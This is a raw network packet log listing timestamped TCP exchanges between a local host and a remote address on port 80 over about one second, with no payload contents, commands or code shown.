Nov 20, 2024 09:14:59.713164091 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.713176012 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.713188887 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.713216066 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.713237047 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.713325024 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.713777065 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.713789940 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.713800907 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.713825941 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.713844061 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.713865995 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.713877916 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.713890076 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.713901997 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.713913918 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.713916063 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.713928938 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.713956118 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.715032101 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.715044022 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.715055943 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.715060949 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.715068102 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.715073109 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.715080023 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.715080023 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.715152025 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.715265989 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.715334892 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.000695944 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.000724077 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.000741959 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.000771046 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.000777960 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.000803947 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.000823975 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.000870943 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.000924110 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.000938892 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.000971079 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.000992060 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.000994921 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.001013041 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.001096010 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.001193047 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.001209974 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.001224995 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.001264095 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.001365900 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.001383066 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.001441956 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.004040956 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.004103899 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.004333019 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.004355907 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.004401922 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.004808903 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.004827023 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.004864931 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.005758047 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.005803108 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.005878925 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.005896091 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.005922079 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.005949974 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.006582975 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006603956 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006618023 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006629944 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006632090 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.006645918 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006650925 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.006661892 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006670952 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.006679058 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006692886 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.006694078 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006726027 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.006726980 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006747007 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.006752968 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006769896 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006772995 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.006784916 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006793976 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.006802082 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006805897 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.006818056 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006829977 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.006834030 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006844044 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.006848097 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006858110 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006877899 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.006877899 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.006886005 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006907940 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.006911039 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006925106 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006938934 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006942034 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.006953001 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006961107 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.006968975 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006983042 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.006985903 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.006999016 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.007009983 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.007014036 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.007030964 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.007038116 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.007045031 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.007061005 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.007066965 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.007076025 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.007076025 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.007105112 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.007112026 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.007119894 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.007134914 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.007153988 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.279381037 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.279393911 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.279464960 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.279510021 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.279649973 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.279659986 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.279684067 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.279695034 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.279705048 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.279706955 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.279717922 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.279719114 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.279731035 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.279746056 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.279773951 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.280109882 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.280124903 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.280138016 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.280145884 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.280165911 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.280229092 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.280296087 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.280308008 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.280364037 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.280389071 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.280430079 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.280441999 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.280447960 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.280453920 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.280459881 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.280471087 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.280503035 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.280533075 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.280929089 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.280946970 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.280971050 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.280996084 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.281074047 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.281085968 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.281101942 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.281115055 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.281143904 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.281224012 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.281236887 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.281246901 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.281259060 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.281269073 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.281279087 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.281331062 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.281331062 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.281582117 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.281594992 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.281624079 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.281651020 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.281667948 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.281680107 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.281689882 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.281701088 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.281711102 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.281713963 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.281722069 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.281733036 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.281739950 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.281744957 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.281755924 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.281760931 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.281769991 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.281780958 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.281799078 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.281824112 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.282393932 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.282407999 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.282421112 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.282447100 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.282471895 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.282483101 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.282495975 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.282506943 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.282517910 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.282522917 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.282560110 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.282695055 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.282707930 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.282717943 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.282757044 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.282788038 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.282912970 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.282927036 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.282958984 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.282974005 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.283380985 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.283392906 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.283404112 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.283442020 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.283550024 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.283560991 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.283571959 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.283581972 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.283593893 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.283603907 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.283612013 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.283633947 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.283643007 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.283709049 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.283721924 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.283734083 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.283771992 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.284277916 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.284290075 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.287849903 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.574821949 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.574888945 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.574901104 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.574906111 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.574933052 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.574940920 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.574975967 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.574990988 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.575021029 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.575036049 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.575567007 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.575629950 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.575761080 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.575773954 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.575814962 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.576067924 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.576081991 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.576092958 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.576103926 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.576109886 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.576117039 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.576127052 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.576129913 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.576138973 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.576149940 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.576162100 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.576180935 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.576201916 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.576226950 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.576270103 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.576400995 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.576415062 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.576442957 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.576457024 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.576585054 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.576598883 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.576622009 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.576636076 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.576953888 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.576965094 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.576980114 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.576991081 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577003002 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577008963 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577028990 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577054024 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577105045 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577127934 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577138901 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577143908 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577151060 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577152014 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577163935 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577172995 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577173948 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577186108 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577188015 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577198029 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577199936 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577225924 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577225924 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577243090 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577251911 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577259064 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577270031 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577280998 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577281952 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577291965 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577305079 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577308893 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577315092 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577317953 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577327013 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577338934 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577347994 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577351093 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577363014 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577373028 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577377081 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577390909 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577404976 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577410936 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577430010 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577440977 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577445984 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577452898 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577464104 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577466011 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577476025 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577486038 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577490091 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577502966 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577512980 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577513933 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577527046 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577533960 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577538967 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577549934 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577554941 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577562094 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577573061 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577583075 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577584028 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577595949 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577598095 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577606916 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577620029 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577625990 CET	49703	80	192.168.2.11	42.193.100.57
